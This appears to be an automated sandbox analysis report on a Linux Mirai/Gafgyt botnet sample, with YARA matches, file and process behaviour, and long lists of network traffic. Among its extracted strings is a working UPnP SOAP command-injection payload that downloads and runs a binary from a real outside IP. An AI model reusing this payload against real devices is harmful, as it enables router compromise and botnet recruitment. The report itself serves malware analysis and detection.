Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1e0c5ce0 reference_sample = 5b1f95840caebf9721bf318126be27085ec08cf7881ec64a884211a934351c2d, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8e45538b59f9c9b8bc49661069044900c8199e487714c715c1b1f970fd528e3b, id = 1e0c5ce0-3b76-4da4-8bed-2e5036b6ce79, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: Process Memory Space: skid.x86.elf PID: 6278, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 79.110.49.16 -l /tmp/kh -r /huawei; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/anko-app/ankosample _8182T_1104/usr/libexec/openssh/sftp-server/bin/watchdog/bin/systemdrm -rf && mkdir ; > && mv ; chmod 777 3f

Source: classification engine

Classification label: mal100.troj.linELF@0/53@0/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6283)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/busybox

Jump to behavior

Source: /bin/sh (PID: 6281)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /bin/sh (PID: 6283)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/busybox

Jump to behavior

Source: /usr/sbin/invoke-rc.d (PID: 6234)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 6236)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6240)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Source: /usr/bin/chmod (PID: 6283)

File: /tmp/bin/busybox (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /usr/sbin/logrotate (PID: 6230)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "	Jump to behavior
Source: /usr/sbin/logrotate (PID: 6238)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog	Jump to behavior
Source: /tmp/skid.x86.elf (PID: 6279)	Shell command executed: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/skid.x86.elf bin/busybox; chmod 777 bin/busybox"	Jump to behavior

Source: /bin/sh (PID: 6280)	Rm executable: /usr/bin/rm -> rm -rf bin/busybox			Jump to behavior
Source: /usr/bin/dash (PID: 6331)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.ZqNnnAWZma /tmp/tmp.TjOPWNRkpy /tmp/tmp.16EeY7e5Sq			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 43830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58058
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 46586
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46904 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51902 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51902 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 52869
